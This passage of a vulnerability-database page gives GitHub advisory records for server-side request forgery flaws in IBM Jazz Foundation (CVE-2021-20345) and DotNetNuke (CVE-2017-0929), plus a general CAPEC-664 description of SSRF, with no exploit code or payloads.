    "CVE-2021-20345"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-06-02T21:15:00Z",
    "severity": "MODERATE"
  },
  "details": "IBM Jazz Foundation and IBM Engineering products are vulnerable to server-side request forgery (SSRF). This may allow an authenticated attacker to send unauthorized requests from the system, potentially leading to network enumeration or facilitating other attacks. IBM X-Force ID: 194594.",
  "id": "GHSA-g8f8-x9rf-6jg3",
  "modified": "2022-05-24T19:03:50Z",
  "published": "2022-05-24T19:03:50Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-20345"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/194594"
    },
    {
      "type": "WEB",
      "url": "https://www.ibm.com/support/pages/node/6457739"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-G8J6-M4P7-5RFQ

Vulnerability from github – Published: 2018-10-16 17:18 – Updated: 2021-09-10 20:29
VLAI
Summary
High severity vulnerability that affects DotNetNuke.Core
Details

DNN (aka DotNetNuke) before 9.2.0 suffers from a Server-Side Request Forgery (SSRF) vulnerability in the DnnImageHandler class. Attackers may be able to access information about internal network resources.

Severity
7.5 (High)
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "DotNetNuke.Core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "9.2.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2017-0929"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2020-06-16T21:36:32Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "DNN (aka DotNetNuke) before 9.2.0 suffers from a Server-Side Request Forgery (SSRF) vulnerability in the DnnImageHandler class. Attackers may be able to access information about internal network resources.",
  "id": "GHSA-g8j6-m4p7-5rfq",
  "modified": "2021-09-10T20:29:38Z",
  "published": "2018-10-16T17:18:12Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-0929"
    },
    {
      "type": "WEB",
      "url": "https://github.com/dnnsoftware/Dnn.Platform/commit/d3953db85fee77bb5e6383747692c507ef8b94c3"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-g8j6-m4p7-5rfq"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/dnnsoftware/Dnn.Platform"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "High severity vulnerability that affects DotNetNuke.Core"
}

No mitigation information available for this CWE.

CAPEC-664: Server Side Request Forgery

An adversary exploits improper input validation by submitting maliciously crafted input to a target application running on a server, with the goal of forcing the server to make a request either to itself, to web services running in the server’s internal network, or to external third parties. If successful, the adversary’s request will be made with the server’s privilege level, bypassing its authentication controls. This ultimately allows the adversary to access sensitive data, execute commands on the server’s network, and make external requests with the stolen identity of the server. Server Side Request Forgery attacks differ from Cross Site Request Forgery attacks in that they target the server itself, whereas CSRF attacks exploit an insecure user authentication mechanism to perform unauthorized actions on the user's behalf.

← Back to the CWE list